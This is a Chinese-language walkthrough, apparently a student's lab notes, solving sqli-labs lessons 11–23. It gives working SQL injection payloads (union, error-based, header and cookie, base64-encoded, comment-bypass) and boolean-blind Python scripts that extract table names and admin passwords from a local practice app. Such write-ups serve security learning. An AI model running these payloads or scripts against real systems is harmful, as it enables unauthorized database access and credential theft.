Less-11
本道题开始,我们进入了通过由POST方式进行注入
-
查找注入点及探索注入方式
1'+order+by+3--+
-
查看注入位置
1'+union+select+0,1--+
-
开始注入
-
获取表名
1'+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1--+
-
获取字段名
1'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),1--+
-
获取flag
1'+union+select+(select+password+from+admin+limit+0,1),1--+
-
-
代码审计
Less-12
-
查找注入点及探索注入方式
联合注入且需要闭合双引号和括号,注入点为username
1")+order+by+3--+
- 发现表示行为2
-
查看注入位置
1")+union+select+1,2--+
-
进行注入
-
获取表名
1")+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),2--+
-
获取字段名
1")+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),2--+
-
获取flag
1")+union+select+(select+password+from+admin+limit+0,1),2--+
-
-
代码审计
Less-13
-
查找注入点及注入方式
1)'
1')+order+by+3--+
发现联合注入无法使用,页面无法显示正常的数据。但是可以进行报错,因此采用报错注入的方式
1')+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+
-
进行注入
-
获取表名
1')+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
-
获取字段名
1')+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
-
获取flag
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
flag{AE0E4
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
BDAD7B5F6
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
1417433660
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
26D2EA5}
最后拼接
flag{AE0E4BDAD7B5F67141743366026D2EA5}
-
-
代码审计
Less-14
-
查看注入点并判断注入方式
1"'--+
1"+union+select+1,2--+
1"+and+extractvalue(1,concat(0x7e,(version()),0x7e))--+
-
开始注入
-
获得表名
1"+and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e))--+
-
获得字段名
1"+and+extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e))--+
-
获得flag
由于长度过长所以我们采用分段截取的方式
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e))--+
flag{AE0E4
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e))--+
BDAD7B5F67
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e))--+
1417433660
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e))--+
26D2EA5}
进行拼接
flag{AE0E4BDAD7B5F67141743366026D2EA5}
-
-
代码审计
Less-15
-
判断注入点及方式
-1'+or+1=1--+
-1'+or+1=2--+
因此,我们选择布尔盲注
-
python注入脚本编写
判断代码
import requests chars="qwertyuiopasdfghjklzxcvbnm}{" url="http://localhost/Less-15/index.php" payload={ "uname":"-1' or 1=1#", "passwd":"", "submit":"Submit" } r=requests.post(url=url,data=payload) print(r.text) print(len(r.text)) # right:1492 # 1446
先进行判断,可以看出当正确时,长度为1492,错误时1446。因此我们可以利用这种差距进行注入
完整代码(未加判断代码)
import requests chars="qwertyuiopasdfghjklzxcvbnm0123456789}{" url="http://localhost/Less-15/index.php" for x in range(0,10): table_name="" for y in range(1,20): for char in chars: payload = { "uname": "-1' or mid((select table_name from information_schema.tables where table_schema=database() limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#", "passwd": "", "submit": "Submit" } r=requests.post(url=url,data=payload) # print(len(r.text)) if len(r.text)==1492: table_name+=char if bool(table_name): print(table_name) # 获取字段名 for x in range(0,10): column_name="" for y in range(1,20): for char in chars: payload = { "uname": "-1' or mid((select column_name from information_schema.columns where table_name='admin' limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#", "passwd": "", "submit": "Submit" } r=requests.post(url=url,data=payload) # print(len(r.text)) if len(r.text)==1492: column_name+=char if bool(column_name): print(column_name) # 获取内容 for x in range(0,10): password_value="" for y in range(1,50): for char in chars: payload = { "uname": "-1' or mid((select password from admin limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#", "passwd": "", "submit": "Submit" } r=requests.post(url=url,data=payload) # print(len(r.text)) if len(r.text)==1492: password_value+=char if bool(password_value): print(password_value)
获得flag
flag{ae0e4bdad7b5f67141743366026d2ea5}
-
代码审计
Less-16
-
查找注入点及判断注入方式
-1")
页面没有回显数据,但是正确与否会出现偏差,因此采用布尔注入
-
python代码编写
import requests chars="1234567890qwertyuiopasdfghjklzxcvbnm}{" url="http://localhost/Less-16/" # 测试 # payload={ # 'uname':'-1") or 1=1#', # 'passwd':'', # 'submit':'Submit' # } # r=requests.post(url=url,data=payload) # print(r.text) # print(len(r.text)) # right:1504 # 获取表名 for x in range(0,10): table_name="" for y in range(1,20): for char in chars: payload={ 'uname': '-1") or ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#', 'passwd': '', 'submit': 'Submit' } r=requests.post(url=url,data=payload) # print(len(r.text)) if len(r.text)==1504: table_name+=char if bool(table_name): print(table_name) # 获取字段名 for x in range(0,10): column_name="" for y in range(1,20): for char in chars: payload={ 'uname': '-1") or ord(mid((select column_name from information_schema.columns where table_name=0x61646D696E limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#', 'passwd': '', 'submit': 'Submit' } r=requests.post(url=url,data=payload) # print(len(r.text)) if len(r.text)==1504: column_name+=char if bool(column_name): print(column_name) # 获取内容 for x in range(0,10): password_value="" for y in range(1,50): for char in chars: payload={ 'uname': '-1") or ord(mid((select password from admin limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#', 'passwd': '', 'submit': 'Submit' } r=requests.post(url=url,data=payload) # print(len(r.text)) if len(r.text)==1504: password_value+=char if bool(password_value): print(password_value)
获取flag为
flag{04756714174336602625}
-
代码审计
Less-17
-
判断注入点及方式
根据提示我们在password进行注入,而且需要采取正确的用户名
brupsite: uname=Dhakkan&passwd=1'+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+&submit=Submit
-
开始进行注入
-
获取表名
1'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
-
获取字段名
1'+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
-
获取内容
由于flag过长,我们采用分段截取的方式
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
flag{AE0E4BDAD7B5F67141743366026D2EA5}
-
-
代码审计
第一部分过滤代码审计:
function check_input($value) { // 判断是否为空字符,如果不是则取前15个字符 if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled // 去除双引号 if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number // 判断是否为全为数字,如果不是则加引号 if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }
Less-18
头部注入(前提密码和账户正确):
利用user agent
介绍:
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU
类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示,但通过伪装 UA
可以绕过检测。
————————————————
开始注入:
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
- 需要正确的用户名和密码
代码审计
Less-19
头部注入:利用referer头字段进行注入
' and updatexml(1,concat(0x7e,version(),0x7e),1) and '1'='1
代码审计
Less-20
头部注入:
cookie注入
利用brupsite进行页面抓取,然后抓取第二个页面
报错注入
union联合注入
Less-21
-
注入点判断及注入分析
报错注入 1') and updatexml(1,concat(0x7e,version(),0x7e),1)# 经过base64加密 MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx2ZXJzaW9uKCksMHg3ZSksMSkj
联合注入 1') order by 4# base64加密: MScpICBvcmRlciBieSA0Iw==
联合注入 1') union select 1,2,3# base64: MScpICB1bmlvbiBzZWxlY3QgMSwyLDMj
联合注入
1') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwyLDMj
联合注入:
1') union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nYWRtaW4nKSwyLDMj
联合注入:
1') union select (select password from admin limit 0,1),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBwYXNzd29yZCBmcm9tIGFkbWluIGxpbWl0IDAsMSksMiwzIw==
Less-22
-
注入点分析
依旧是头部注入,cookie注入,还是base64编码
/ base64: XA==
联合注入: 1" order by 4# base64: MSIgb3JkZXIgYnkgNCMg
-
开始注入
联合注入 1“ union select 1,2,3 base64: MSIgdW5pb24gc2VsZWN0IDEsMiwzIyA=
联合注入 1" union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3# base64: MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMiwzIw==
联合注入 1" union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3# base64: MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2FkbWluJyksMiwzIw==
联合注入 1" union select (select password from admin limit 0,1),2,3# base64: MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgcGFzc3dvcmQgZnJvbSBhZG1pbiBsaW1pdCAwLDEpLDIsMyM=
-
代码审计
Less-23
本道题考的是注释符的绕过
\
尝试闭合单引号
1'%23
1'--+
发现均被过滤
1'+and+'1'='1
可以正常显示
在构建·
-1'+union+select+1,2,3+and+'1'='1
-1'+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3+and+'1'='1
-1'+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3+and+'1'='1
-1'+union+select+1,(select+password+from+admin),3+and+'1'='1
获得flag